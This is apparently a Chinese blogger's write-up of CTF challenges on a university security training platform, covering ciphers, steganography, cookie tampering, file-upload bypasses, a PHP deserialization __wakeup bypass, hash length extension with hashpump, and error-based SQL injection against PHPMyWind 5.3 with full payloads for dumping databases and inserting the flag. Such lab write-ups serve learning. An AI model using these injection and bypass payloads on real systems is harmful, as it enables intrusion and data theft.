天朝挖煤CTF

中国矿业大学网络安全实训平台php

你的石锅拌饭

SGBF.png

打开连接仍是原来的页面,仔细读那几句话,发现培根,并且这段话字体不一样,
想到培根密码。百度查表可知flag。此题源于学校三食堂有名的石锅拌饭。。。。。html

魂斗罗

打开连接是一个文件,分析可知是个游戏,用模拟器打开就是经典的魂斗罗,
提示是:上上下下左右左右,百度可知做弊代码就是这段话,下载金手指,选关便可经过。
PS:注意flag的形式,仔细看清楚再提交哦前端

cookies?

打开连接,显示让以管理员身份登陆,在谷歌或者火狐浏览器中
F12,从新编辑消息头,修改user=admin
提交,响应为
cookies.png
在网址后添加k.jpg,获得一张大佬的图片
cookies1.png
丢进百度识图,可知维基利亚密码,对照表,有提示key:e,我就移动四位,得bpqaqaivwtlmvkzgxb
自信的去提交flag.....显示错误。顿时崩溃,,,看来手动解是解不出来了。
丢进凯撒密码,列出全部可能,flag通常是一句话,找出就得flag
cookies2.png
PS:凯撒密码是维基利亚密码的升级版(自我感受)python

我就想试试这个名字到底可以起多长

打开连接是一张图片git

yinxie1.png

提示有说是常规隐写,因此直接丢进Stegsolve
点击左右键,发现Red plane 2,Red plane 1,Red plane 0三处变化较大,点击右上角进行数据分析
发现0处数据为PK开头,百度文件类型,可知为压缩包,改后缀.zip,解压获得一个文件,丢尽Winhexgithub

yinxie1-0.png

搜索ctf获得flagweb

yinxie1-1.png

上传一

打开连接,是一个上传文件的页面,我就开始各类百度
有种方法说能够修改后缀,我就一直尝试各类加;jpg,.rar。最后才知道那是解析漏洞,须要针对特殊的事件
而后我就开始了一件很智障的事情,在F12中修改js源码,。。。。然而没什么卵用。
shangchuan1.png
固然没什么用,有没有修改服务器里的源码,也没有任何的响应。只能欺骗本身
最后询问后端组长以后,分析了js代码,知道check函数是全局变量,能够在控制台修改
操做成功,抱着组长大腿声泪俱下,彻底不懂前端,而后就能够上传可执行文件了。
shangchuan1-1.pngajax

PS:JS定义全局变量有三种方式
直接定义全局变量sql

var check=1;
    function check(){
    .....
    }

不用var,直接隐式定义shell

check=1;
function check(){
...
}

在控制台中直接输入window定义

window.check 
function check(){
....
}

我是分割线-补充于2017-03-13 23:30:17

太菜了,也只能继续更新我天朝挖煤大学的题目了。。。。。
如下三道是组长帮助,因此就单独列出来了

备份

打开连接,显示1.bak,2.bak
我又试了试3.bak,5.bak都有内容显示,因此能够想到flag就在某个*.bak
一开始我并不会写python,以后学了点,在组长的指导下,本身写出来了这段代码

##coding:utf-8
    import requests
    for i in range(3,1000):
    t = requests.get('http://219.219.61.234/challenge/web/code/'+str(i)+'.bak')
    print (i)
    if 'flag' in t.text:
        print(t.text)
    else :
        continue

怎么说呢,这道题会写代码了,就很简单了。
直接贴代码,让它运行就行了。。。。。。吗?????
很不幸的是抛出了一大堆异常,链接服务器老是中断,那么问题来了:如何解决python的异常?
就是try...except...

try:
        ##你要执行的可是可能出现异常的代码
    except (NameError,....):##错误类型
        ##出现了错误要作什么
    else:
        ##没错误要作什么
    finally:
        ##不管上方是否抛出异常,都会执行这句话

大概就是这三种
最后的代码是这样的,居然flag是900多。。。。。

##coding:utf-8
    import requests
    def traverse():
        for i in range(0,1000):
            t = requests.get('http://219.219.61.234/challenge/web/code/'+str(i)+'.bak')
            if i%50 == 0:
                print (i)
            if 'flag' in t.text:
                print(t.text)
            else :
                continue
    try:
        traverse()
    finally:
        traverse()

colorSnake

打开连接,真的是一个贪吃蛇游戏,仍是炫彩的。。orz
看到这道题第一次仍是忍不住玩了一下,可是真的好难。。。。233333
随后先F12查看源码,一直没有头绪,最后也是在组长的和组内大佬讨论下,尝试了改分数,改food出现位置,,,,然而都没有用
最后,找到这段getScore代码,在控制台提交,分数变了。因此接下来直接调用JS计时器

setInterval(function(){xhr('./getScore.php',function(e){
                var r = JSON.parse(e);
                if(r.state == 200)
                    game.addScore(r.score);
                else{
                    alert(r.msg);
                    game.start()
                }
            })},1000)

PS:JS计时器setInterval

setInterval(function(){alert("Hello")},1000);

这里记录一下,对于这个计时器我也是鼓捣很久,已经让我怀疑不适合学计算机。。。。
setInterval(function(){这里面填写要执行的代码}),一开始我总是纠结第一个参数明明是函数代码,为何
不能直接贴上函数代码,非要加个function,说实话,如今也是似懂非懂,可能仍是没学过JS吧。。。
这里的参数function是一个函数名或者一个对匿名函数的引用

简单的示例,能够自行百度

自动获取flag程序

打开连接,是一个未完整的程序
那就很天然的F12查看源码,提示已经说了是要修改代码,下面是它给的源码

// 请求参数一
    $("##a").click(function(){
        $.ajax({
            url:'param1.php',
            method:'get',
            dataType:'json',
            success:calParam2
        })
    });
    function calParam2(d){ // 获取参数d
        var data=JSON.parse((d.param));
        var length=data.length;
        var second=new Date().getSeconds();
        var sum=0;
        for (var i = 1; i < length; i++) {
            for (var j = 0; j < length/2; j++) {
                sum+=parseInt(data[i])*second + data[j];
            } // 应该是用for循环求出参数各个数值和
        }
    // 请求flag
    $.ajax({
        url:'http://new.pmcaff.com/aram2.php?param='+sum, // 这里url对着上面的url明显是错误的
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);
        },
        error:function(s){
            alert('错了');
        }
    })
    }

打开./param1.php,获得的是一堆url

{"param":
    "%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C
    %228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}

解码获得一个数组,那就对了,能够求和(JSON.parse的做用就是处理数据让他能够加和)
而后第二个url对照第一个改成:'param2.php?param='+sum,可是程序中直接获得的参数是编码的
因此在程序中加上解码语句d.param=unescape(d.param)

function calParam2(d){
    d.param=unescape(d.param);
    var data=JSON.parse((d.param));
    var length=data.length;
    var second=new Date().getSeconds();
    var sum=0;
    for (var i = 1; i < length; i++) {
        for (var j = 0; j < length/2; j++) {
            sum+=parseInt(data[i])*second + data[j];
        }
    }

    // 请求flag
    $.ajax({
        url:'param2.php?param='+sum,
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);

        },
        error:function(s){
            alert('错了');
        }
    })
}

为何要加上d.param而不是参数d呢?我没学过JS,可是看参数d的形式就是python字典,要解码的是字典里的后半部分
还有,就是我一开始在控制台输入以后,会一直弹出"呵呵呵呵",根据组长的解释是传递参数错误才会这样,这一段
是和时间参数有关系的,因此。。。。。。。根据个人实践,就是多点几回,,,,可能就是成功了。这是个人理解。
真正的理解还望指教


我是分割线-补充于2017-03-25 18:17:01

233333333333orz,扶我起来,我还能水

萌萌哒

打开连接,和提示同样,显示的是一堆相似表情包
真的是萌萌哒啊。。。。。。
这一堆是什么东西。不知道 就百度 就谷歌呗,最后作出来才知道,是两种加密
第一种就是颜表情包解码点我进解码地址
解码获得下图结果

mengmengda

改地址进入,又是一堆只有八个操做符的东西,,,,,老方法,不知道,就百度呗
最后知道这是一种语言-->Brainfuck
又是百度,各类姿式搜索,找到了解码地址点我
丢进去,转码得flag!
本身不会写工具就只能这样了,搜搜搜。


我是分割线-补充于2017-04-7

据说你会面向对象

打开连接,看见连接咱们就会知道是PHP反序列化漏洞
可是身为小白的我不会什么PHP啊,也不知道什么是反序列化,老办法-搜搜搜。。。。

什么是反序列化?

这问题就不赘述了,说了也是看的别人的,贴连接
这是介绍反序列化的点我
因此咱们直接构造data=O:5:"Admin":1:{s:4:"file";s:8:"flag.php";},可是。。。
ctf3-1.png

很明显是__wakeup()是它在搞事情,那么下面那咱们要作的就是绕过它
通过搜搜搜搜,知道此函数的一个漏洞
PHP当序列化字符串中表示对象属性数的值大于真实的属性个数时会跳过__wakeup()的执行
ctf3-2

整体来讲这道题仍是比较基础和简单的,只是我太菜了,。。作了好长时间,不过也长了很多知识

上传二

首先要说一下几种上传验证手段:

 A: 客户端js校验(通常只校验后缀名)
 B: 服务端校验
   1.文件头content-type字段校验(image/gif)
   2.文件内容头校验(GIF89a)
   3.后缀名黑名单校验
   4.后缀名白名单校验
   5.自定义正则校验
 C: WAF设备校验(根据不一样的WAF产品而定)

打开连接,和上传一地址同样
就是接着上传一开始作的,首先修改JS验证
而后用brup抓包,修改文件头content-type字段为:image/gif
从新发送便可

上传二

参考文章:点我


我是分割线-补充于2017-04-15 21:27:00

最近平台多的一些学校入门赛的题目,就不写wp了,官方有了点我

据说这是一道签到题目

先贴一个连接,补充点姿式数据包分析for CTF
打开连接
很明显是一个抓取的数据包,用Wireshark打开,分析对话,在tcp流,发现异常对话

Wireshak-1

跟踪tcp流,发现flag信息

Wireshark-2

并且function.py 这里代码都给出来了

Wireshark-3

直接解原字符串是不能解的,因此须要先base64
具体操做以下,用给出的代码直接解就好了

Wireshark-4

学姐真美

PS:这也是入门赛的一道题,可是感受涨了姿式,因此想记录下

orz,这个学姐真的美。。。。。
打开连接学姐真美
首先想到的就是隐写术,拖进winhex
看到文件前面这一大串00000000000000000000000很让人起疑心啊

1

直接搜索jpg结束符“FF D9”

2

结束符后边居然还有东西,直接复制粘贴到HxD,随便找一张png图片对照修改文件头,保存打开

3

这里发现七牛云图不能上传带二维码的东西。。。。。

4

WTF?/????

发生了什么。。。必定是文件头没改对所有,接下来就是各类搜索了

5

就像图片显示的同样,找到长宽位置,发现 的确是不对称啊,修改以后再打开保存,嗯。。。。。能够了

白驹过隙

23333333333333333,虽然这道题只有十分,可是我一直没作出来。。。。。
打开连接白驹过隙,看到you have missed the flag
很容易想到的就是抓包。若是你仔细看的话应该会发现,连接里面的defauIt是i的大写。。。。(我是没看出来)
302回调,在浏览器直接修改仍是会跳转的,因此掏出神器burp,抓包,修改连接,提交
响应里就是flag

PS:这是我遇到的。。。。。感受。。。。最。。。。。。让我。。。。额。。。。后面的词能够联想。。。。

logic

这道题很是很是很是仔细看F12源码,就OK了
一个备份泄露,一个算是偏向社工的吧,仔细点

上传三

条件竞争,上传马的同时访问马
靠运气能够迅速得flag

phpmywind

已经给了版本是5.3,打开谷歌搜索相关漏洞
有个留言板储存型xss,和前台注入
题目中明示删除了后台,要直接从数据库中提取,这个版本xss须要后台触发
因此基本肯定注入

函数

下面列取注入步緅(也是第一次很认真的作注入题目)

phpmywind

首先注入,可是查询没有回显,很烦,最后是插入到可直接访问的表段解决

漏洞函数

有个东西叫作报错盲注,全程在用,具体解释谷歌

select count(*),concat(你要查询的语句,floor(rand(0)*2))x from information_schema.tables group by x

一开始我在本地搭建了一下,源码子查询存在过滤,用char(@%27)绕过(别问我怎么知道的,小红跟我说的)

过滤

(改变如下代码中N的值,一个个爆,具体解释网上都有,这一串算种套路了)

获取基本信息

将你要的函数放在查询语句处

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()链接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操做系统

也能够这样一个个爆库

sql=select count(*),concat(char(@`%27`),(select SCHEMA_NAME from information_schema.SCHEMATA limit n,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

爆表

sql=select count(*),concat(char(@`%27`),(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA =16进制库名 limit 0,1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

爆字段

sql=select count(*),concat(char(@`%27`),(select column_name from (select * from information_schema.columns where table_name=16进制表名 and table_schema=16进制库名 order by 1 limit 1,1)t limit 1), 0x23,floor(rand(0)*2),char(@`%27`))x from information_schema.tables group by x

显示flag

因为没有select回显,能够想法让他select以后插入到其余能够显示的表里
我插入到了pmw_info,具体表能够在源码看,方便点

sql=replace into pmw_info (`id`,`classid`,`mainid`,`picurl`,`content`,`posttime`) VALUES (3,3,1,char(@`%27`),(select flag from phpmyflag.flag ),char(@`%27`))

效果

md5

(这道题,,,就是密码题,手动解吧,等过段时间--2017.10.03)
模仿着写了一个相似源码的东西,不过仍是提交不对
让我怀疑是否是题目挂了,不过也多是我哪里没注意到
这里的16进制不知道后台源码处理了没有,我感受我没读懂题目啊。。。。。

<?php
    $key = 'safwefdsfsacxwwl'; //16位salt
    $b=$_GET['a'];
    $k = md5($key.$b);
    echo $key.$b.'<br/>';
    echo $k.'<br/>';
    if($k ===$_GET['c']){
        print 'success</br>';
    }
    else{
        print 'fail</br>';
    }
?>

生成

之前写的一篇小结,哈希拓展攻击
网上也是大把的资源,能够本身搜

root@kali:~# hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: 637972
Input Key Length: 16
Input Data to Add: 70
b186167e53b172a5d5f73d664b89e80c
637972\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x0070

利用

=====================================================
2019.4.12.....快两年了

➜  ~ hashpump
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: cyr
Input Key Length: 16
Input Data to Add: 123
76a92684ba983f68ac991912b19720ab
cyr\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00123

明文须要是16进制就好了

相关文章
相关标签/搜索